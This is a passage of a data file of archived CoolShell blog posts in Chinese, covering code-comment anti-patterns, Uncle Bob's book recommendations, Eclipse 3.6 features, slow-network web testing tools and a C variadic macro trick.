}\n}</pre>\n<p><strong>原文</strong>：如果某段代码不再使用了，那就应该直接删除。我们不应该使用注释来标准废弃的代码。同样，我们有版本控制工具来管理我们的源代码，在版本控制工具里，是不可能有代码能被真正的物理删除的。所以，你总是可以从以前的版本上找回你的代码的。</p>\n<p><strong>陈皓</strong>：我非常同意这样的观点。只要你是废弃的，就应该是删除，而不是注释掉。注释并不是用来删除代码的。也许你会争论到，在迭代开发中，你觉得被注释的代码很有可能在未来会被使用，但现在因为种种问题暂时用不到，所以，你先注释着，然后等到某一天再enable它。所以你注释掉一些未来会有的程序。在这样的情况，你可以注释掉这段代码，但你要明白，这段代码不是“废弃”的，而是“临时”不用的。所以，我在这里提醒你，请不要教条式地在你的程序源码中杜绝这样的注释形式，是否“废弃”是其关键。</p>\n<h3>三、明显的注释</h3>\n<pre class=\"EnlighterJSRAW\">public class Program\n{\n    static void Main(string[] args)\n    {\n        /* This is a for loop that prints the\n         * words \"I Rule!\" to the console screen\n         * 1 million times, each on its own line. It\n         * accomplishes this by starting at 0 and\n         * incrementing by 1. If the value of the\n         * counter equals 1 million the for loop\n         * stops executing.*/\n        for (int i = 0; i &lt; 1000000; i++)\n        {\n            Console.WriteLine(\"I Rule!\");\n        }\n    }\n}</pre>\n<p><strong>原文</strong>：看看上面的例子，代码比注释还容易读。是的，大家都是程序员，对于一些简单的，显而易见的程序逻辑，不需要注释的。而且，你不需要在你的注释中教别人怎么编程，你这是在浪费时间去解释那些显而易见的东西。你应该用注释去解释你的代码功能，原因，想法，而不是代码本身。</p>\n<p><strong>陈皓</strong>：非常同意。最理解的情况是你的代码写得直接易读，代码本身就是自解释的，根本不需要注释。这是最高境界。注释应该说明下面的代码主要完成什么样的功能，为什么需要他，其主要算法怎么设计的，等等。而不是解释代码是怎么工作的。这点很多新手程序员都做得不够好。别外，我需要指出的是，代码注释不宜过多，如果太多的话，你应该去写文档，而不是写注释了。</p>\n<h3>四、故事型注释</h3>\n<pre class=\"EnlighterJSRAW\">public class Program\n{\n    static void Main(string[] args)\n    {\n       /* I discussed with Jim from Sales over coffee\n        * at the Starbucks on main street one day and he\n        * told me that Sales Reps receive commission\n        * based upon the following structure.\n        * Friday: 25%\n        * Wednesday: 15%\n        * All Other Days: 5%\n        * Did I mention that I ordered the Caramel Latte with\n        * a double shot of Espresso?\n       */\n        double price = 5.00;\n        double commissionRate;\n        double commission;\n        if (DateTime.Today.DayOfWeek == DayOfWeek.Friday)\n        {\n            commissionRate = .25;\n        }\n        else if (DateTime.Today.DayOfWeek == DayOfWeek.Wednesday)\n        {\n            commissionRate = .15;\n        }\n        else\n        {\n            commissionRate = .05;\n        }\n        commission = price * commissionRate;\n    }\n}</pre>\n<p><strong>原文</strong>：如果你不得不在你的代码注释中提及需求，那也不应该提及人名。在上面的示例中，好像程序想要告诉其它程序员，下面那些代码的典故来自销售部的Jim，如果有不懂的，你可以去问他。其实，这根本没有必要在注释中提到一些和代码不相干的事。</p>\n<p><strong>陈皓</strong>：太同意了。这里仅仅是代码，不要在代码中掺入别的和代码不相干的事。这里你也许会有以下的争辩：</p>\n<ol>\n<li>有时候，那些所谓的“高手”逼着我这么干，所以，我要把他的名字放在这里让所有人看看他有多SB。</li>\n<li>有时候，我对需求并不了解，我们应该放一个联系人在在这里，以便你可以去询问之。</li>\n</ol>\n<p>对于第一点，我觉得这是一种情绪化。如果你的上级提出一些很SB的想法，我觉得你应该做的是努力去和他沟通，说明你的想法。如果这样都不行的话，你应该让你的经理或是那个高手很正式地把他的想法和方案写在文档里或是电子邮件里，然后，你去执行。这样，当出现问题的时候，你可以用他的文档和邮件作为你的免责证据，而不是在代码里干这些事。</p>\n<p>对于第二点，这些需求的联系人应该是在需求文档中，如果有人有一天给你提了一个需求，你应该把其写在你的需求文档中，而不是你的代码里。要学会使用流程来管理你的工作，而不是用注释。</p>\n<p>最后，关于故事型的注释，我需要指出也有例外的情况，我们团队中有人写注释喜欢在注释或文档里写一些名人名言（如 <a href=\"https://coolshell.cn/articles/808.html\" rel=\"bookmark\" target=\"_blank\">22条经典的编程引言</a>，<a href=\"https://coolshell.cn/articles/1212.html\" rel=\"bookmark\" target=\"_blank\">编程引言补充</a>，<a href=\"https://coolshell.cn/articles/1278.html\" rel=\"bookmark\" target=\"_blank\">Linus Torvalds 语录  Top 10</a> ），甚至写一些小笑话，幽默的短句。我并不鼓励这么做，但如果这样有利于培养团队文化，有利于让大家对工作更感兴趣，有利于大家在一种轻松愉快的环境下读/写代码，那不也是挺好的事吗？</p>\n<p>另外，做为一个管理者，有时候我们应该去看看程序员的注释，因为那里面可能会有程序员最直实的想法和情绪（<a href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">程序员嘴最脏??</a>）。了解了他们的想法有利于你的管理。</p>\n<h3>五、“TODO”注释</h3>\n<pre class=\"EnlighterJSRAW\">public class Program\n{\n    static void Main(string[] args)\n    {\n       //TODO: I need to fix this someday – 07/24/1995 Bob\n       /* I know this error message is hard coded and\n        * I am relying on a Contains function, but\n        * someday I will make this code print a\n        * meaningful error message and exit gracefully.\n        * I just don’t have the time right now.\n       */\n       string message = \"An error has occurred\";\n       if(message.Contains(\"error\"))\n       {\n           throw new Exception(message);\n       }\n    }\n}</pre>\n<p><strong>原文</strong>：当你在初始化一个项目的时候，TODO注释是非常有用的。但是，如果这样的注释在你的产品源码中出现了N多年，那就有问题了。如果有BUG要被fix，那就Fix吧，没有必要整一个TODO。</p>\n<p><strong>陈皓</strong>：是的，TODO是一个好的标志仅当存在于还未release的项目中，如果你的软件产品都release了，你的代码里还有TODO，这个就不对了。也许你会争辩说，那是你下一个版本要干的事。OK，那你应该使用项目管理，或是需求管理来管理你下一个版本要干的事，而不是使用代码注释。通常，在项目release的前夕，你应该走查一下你代码中的TODO标志，并且做出决定，是马上做，还是以后做。如果是以后做，那么，你应该使用项目管理或需求管理的流程。</p>\n<p>上述是你应该避免使用的注释，以及我个人的一些观点，也欢迎你留下你的观点！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2746.html\">五种应该避免的代码注释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-5 参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍.html",
    "content": "<html><body><p>数量级25（10^25）是 Uncle Bob 在 <a href=\"http://en.oreilly.com/rails2010\">RailsConf</a> 演讲的主题。如果你用一台 PDP 8（ 1960年代的计算机）和 Mac PowerBook 做比较的话，你会发现 Mac PowerBook 比 PDP 8 快8000倍，有6百万倍大的内存，11000倍的耗能，1500倍的容量等等。如果将这些0累加起来，很容易达到10^25。在过去40年里，我们的硬件计算能力获得了10^25倍的提升，而作为软件开发人员的我们并没有利用这些计算能力来提升多少我们的软件开发能力。没错，我们是写了不少的代码，但是它们基本上都是一些顺序语句，if 语句，和 while 循环等，没有什么新鲜的东西。你可能会说面向对象是新东西呀，但是那只是另外一种组织顺序、选择和迭代等语句的方法而已。除我们现有的编程语言之外，如果有新的编程语言能够产生并创造新的“微积分学”，从而将软件开发提高到一个新的高度，将会是一件非常令人期待的事情，因为顺序语句，选择语句和迭代等最终将成为历史。</p>\n<p>Uncle Bob 认为以下四本书是软件开发人员必须阅读的，并由他自己来排名。</p>\n<p>1. The Structure &amp; Interpretation of Computer Programs 计算机程序的构造和解释 （By Harold Abelson &amp; Gerald Sussman）</p>\n<p>书中使用的是 Scheme 语言（Lisp 的一个变种），此书的内容曾经是 MIT 计算机系的一门课程，当然现在已经不是了。</p>\n<p>2. Structured Programming 结构化程序设计 （By Edsger W. Dijkstra）</p>\n<p>相信软件专业的同学们都上过此课程，我们的启蒙书籍。这本书讨论了 go to 是怎样的邪恶，同时也讨论了面向对象。对比一下今天我们视为 best practice 的测试驱动开发（TDD），go to 在过去也曾经是 Fortran，Cobol 等语言的核心。</p>\n<p>3. The Annotated TURING （By Charles Petzold）</p>\n<p>Uncle Bob 令人尴尬地忘记了这本书的名字，他自嘲说自己从来记不住这本书名。但是此书在他的推荐列表中列第三位。</p>\n<p>4. Clean Code （By Robert C. Martin）</p>\n<p>Uncle Bob 本人的大作。</p>\n<p>我的一位同事将这位 Uncle Bob 视为软件开发领域中的上帝，Uncle Bob 这位大师在当下各类编程语言和平台层出不穷的时候，在我们为该学什么语言买什么书举棋不定的时候，推荐给读者这几本经典，也许是煞费苦心地想让我们参透软件开发的本质吧。不过会不会也是因为我们都在慢慢变老，许多旧的东西如今又变成了新鲜有趣的事情啦？（出自采访记者之口）</p>\n<p><a href=\"http://vimeo.com/12957619\"><em>文章来源</em></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3192.html\"><img alt=\"一些非常不错的资料\" height=\"150\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-7 Eclipse 3.6 （Helios）新特性.html",
    "content": "<html><body><p>2010年6月23日 Eclipse 3.6 Helios 正式发布，对 Java 程序员来说有哪些新特性值得关注？</p>\n<p>1、检查并报告是否有缺失的 @Override 注解，此功能仅对 Java 1.6 版本适用。在以前版本中，当我们为一个方法加上 @Override  注解，但是这个方法实际上并没有过载（override）任何父类的方法时，将会得到警告信息。在新版本中，如果我们忘记为一个过载方法加上 @Override 注解，同样也会得到警告信息。</p>\n<p>2、变量视图中新增了一个列用于显示当前变量类型的实例数（Layout -&gt; Select Column）。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6.bmp\"><img alt=\"\" class=\"alignnone size-full wp-image-2561\" height=\"169\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-6.bmp\" title=\"Eclipse 3.6 - 6\" width=\"478\"/></a></p>\n<p>3、Java 视图中的包名称可以用自定义的规则来显示（Window –&gt; Preferences –&gt; Java –&gt; Appearance）。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-3.png\"><img alt=\"\" class=\"alignnone size-medium wp-image-2558\" height=\"157\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-3-300x157.png\" title=\"Eclipse 3.6 - 3\" width=\"300\"/></a></p>\n<p><span id=\"more-2554\"></span></p>\n<p>4、用户可以选择在关闭 Eclipse 时不清除本地更改历史（local history），这样可以加快关闭的速度，但同时本地更改历史记录将会无限制地增大。</p>\n<p>5、查看实现代码（Open Implementation）。此功能在 Navigate 菜单中能够找到，目前没有缺省的快捷键，用户可以为其自定义一个（Windows –&gt; Preferences –&gt; General –&gt; Keys）。例如，用户可以查看一个抽象方法的具体实现，如果有多个实现， Eclipse 会显示一个弹出窗口。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-2.png\"><img alt=\"\" height=\"184\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-2.png\" title=\"Eclipse 3.6 - 2\" width=\"293\"/></a></p>\n<p>6、虚拟文件夹（Virtual Folders）。用户可以在 workspace 中创建文件夹，这些文件夹只对 Eclipse 可见，对操作系统不可见。并且它们只能包含其他的虚拟文件夹和外部链接资源。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-4.png\"><img alt=\"\" height=\"192\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-4.png\" title=\"Eclipse 3.6 - 4\" width=\"259\"/></a></p>\n<p>7、安装配置比较（Compare Configurations）。通过此功能用户可以查看那些组件在哪一时间被安装，还可以选择卸载无用的安装以节省空间。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-5.png\"><img alt=\"\" height=\"256\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-5-300x256.png\" title=\"Eclipse 3.6 - 5\" width=\"300\"/></a></p>\n<p>8、提供了对 JSF 2.0，Apache Tomcat 7，和 Aapache CXF 的支持，新增了 JAX-RS project facet。</p>\n<p>9、Eclipse 市场客户端（Eclipse Market Place Client）。在以前的版本中安装插件（plugins）一直都不能说是一件简单的事情，用户需要搜索相应的 update site URL。新版本引入了和 Apple 的应用商店类似的概念，用户可以在 Eclipse IDE 内搜索和安装插件了，此功能在 Help 菜单中可以找到。</p>\n<p><a href=\"../wp-content/uploads/2010/07/Eclipse-3.6-1.png\"><img alt=\"\" height=\"215\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-1-300x215.png\" title=\"Eclipse 3.6 - 1\" width=\"300\"/></a></p>\n<p><em><a href=\"http://www.techsagar.com/2010/07/10-new-features-which-i-liked-the-most-in-eclipse-helios-3-6-2/\">文章来源一</a>，<a href=\"http://rajakannappan.blogspot.com/2010/05/new-features-in-eclipse-36-helios.html\">文章来源二</a></em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2554.html\">Eclipse 3.6 （Helios）新特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-9 如何在低速率网络中测试 Web 应用.html",
    "content": "<html><body><p>大家看到标题后的第一个问题可能是：“我们需要这样做吗？”</p>\n<p>如果我们开发的是局域网 Web 应用的话，可能没有必要这样做。但如果我们的 Web 应用面向的是互联网上的成千上万的用户，这样做就很必要了。因为在现实世界中并不是所有的用户都有高数率的网络连接，也许用户使用的是拨号接入，移动设备，3G，或者是 USB 网络加密狗。如果我们没有在低数率的网络环境中测试过我们 Web 应用，极有可能在上线后收到一些意想不到的关于系统性能方面的抱怨。这个时候无论我们的 Web 应用界面多么地 Web 2.0，功能多么地强大，对于用户来说都失去了使用价值。</p>\n<p>目前有很多工具能够模拟慢速网络，值得一提的是 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/5917/\">Firefox Throttle</a>，这是一个 Firefox 插件，你可以设置上载和下载的数率，并且监控当前带宽的使用情况。另一个非常有用的特性是它可以控制你的 localhost 的连接数率，对本地测试很有用。</p>\n<p>Firefox Throttle 的截图</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Firefox-Throttle.png\"><img alt=\"\" class=\"alignnone size-medium wp-image-2576\" height=\"231\" src=\"../wp-content/uploads/2010/07/Firefox-Throttle-300x231.png\" title=\"Firefox Throttle\" width=\"300\"/></a></p>\n<p>另一个工具是 <a href=\"http://www.dallaway.com/sloppy/\">Sloppy</a>，它是一个 Java Web Start application。</p>\n<p><em><a href=\"http://www.devcurry.com/2010/07/simulate-slow-internet-connections.html\">文章来源</a></em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2589.html\"><img alt=\"十个免费的Web压力测试工具\" height=\"150\" src=\"../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2574.html\">如何在低速率网络中测试 Web 应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-10 C技巧：结构体参数转成不定参数.html",
    "content": "<html><body><p>下面这段程序是一个C语言的小技巧，其展示了如何把一个参数为结构体的函数转成一个可变参数的函数，其中用到了宏和内建宏“<code>__VA_ARGS__</code>”，下面这段程序可以在GCC下正常编译通过：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n\n#define func(...) myfunc((struct mystru){__VA_ARGS__})\n\nstruct mystru { const char *name; int number; };\n\nvoid myfunc(struct mystru ms )\n{\n  printf(\"%s: %d\\n\", ms.name ?: \"untitled\", ms.number);\n}\n\nint main(int argc, char **argv)\n{\n  func(\"three\", 3);\n  func(\"hello\");\n  func(.name = \"zero\");\n  func(.number = argc, .name = \"argc\",);\n  func(.number = 42);\n  return 0;\n}\n</pre>\n<p>从上面这段程序，我们可以看到一个叫 myfunc的函数，被func的宏改变了，本来myfunc需要的是一个叫mystru的结构，然而通过宏，我们把struct mystru的这个参数，变成了不定参数列表的一个函数。上面这段程序输出入下，</p>\n<p><span id=\"more-2801\"></span></p>\n<blockquote><p>three: 3<br/>\nhello: 0<br/>\nzero: 0<br/>\nargc: 1<br/>\nuntitled: 42</p></blockquote>\n<p>虽然，这样的用法并不好，但是你可以从另外一个方面了解一下这世上对C稀奇古怪的用法。 如果你把宏展开后，你就明的为什么了。下面是宏展开的样子：</p>\n<pre class=\"EnlighterJSRAW\">\n  myfunc((struct mystru){\"three\", 3});\n  myfunc((struct mystru){\"hello\"});\n  myfunc((struct mystru){.name = \"zero\"});\n  myfunc((struct mystru){.number = argc, .name = \"argc\",});\n  myfunc((struct mystru){.number = 42});\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 